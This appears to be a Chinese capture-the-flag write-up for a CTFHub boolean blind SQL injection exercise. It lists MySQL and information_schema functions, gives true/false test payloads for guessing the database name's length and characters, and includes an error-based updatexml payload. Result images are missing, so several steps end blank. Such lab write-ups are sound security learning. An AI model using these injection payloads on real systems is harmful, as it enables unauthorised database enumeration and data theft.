ctfhub 布尔盲注

布尔盲注:

布尔盲注:

需要了解mysql的知识点：

union select 联合查询，联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如：mysql 1.2.3， mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接，形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时，可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意，只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串，从第N个字符开始，截取M个字符

和一些基本sql语法
和一些基本注释：
#，–空格，/* */

首先开启题目，知道这一题布尔盲注，
利用返回yes或no进行判断注入
利用函数 right(),substr()

首先判断是否有注入：
输入：1 得到

在输入： 1’ 得到：

发现1 正确，1’错误，所以没有用引号

于是用 1 and 1=1 和 1 and 1=2 去判断得到：

发现1 和1 and 1=1回显都是正确
而 1and 1=2回显错误
所以能进行注入

于是构造语句判断当前数据库名字长度:
1 and length(database()) >=1
1 and length(database()) >=5
1 and length(database()) >=4

发现1 and length(database()) >=1 正确
1 and length(database()) >=5 错误
1 and length(database()) >=4正确

所以判断当前数据库长度为4

于是要确定数据库名字，利用语句：
1 and substr(database(),1,1)=‘a’

1 and substr(database(),1,1)=‘s’

这里发现，1 and substr(database(),1,1)=‘a’
为错误，1 and substr(database(),1,1)='s’为正确

要一个一个判断有点难，于是自己用python写了一个脚本
来判断出库名 ，

得到库名，于是在报出表，得到：

在报出字段：

在报出字段内容，得到flag: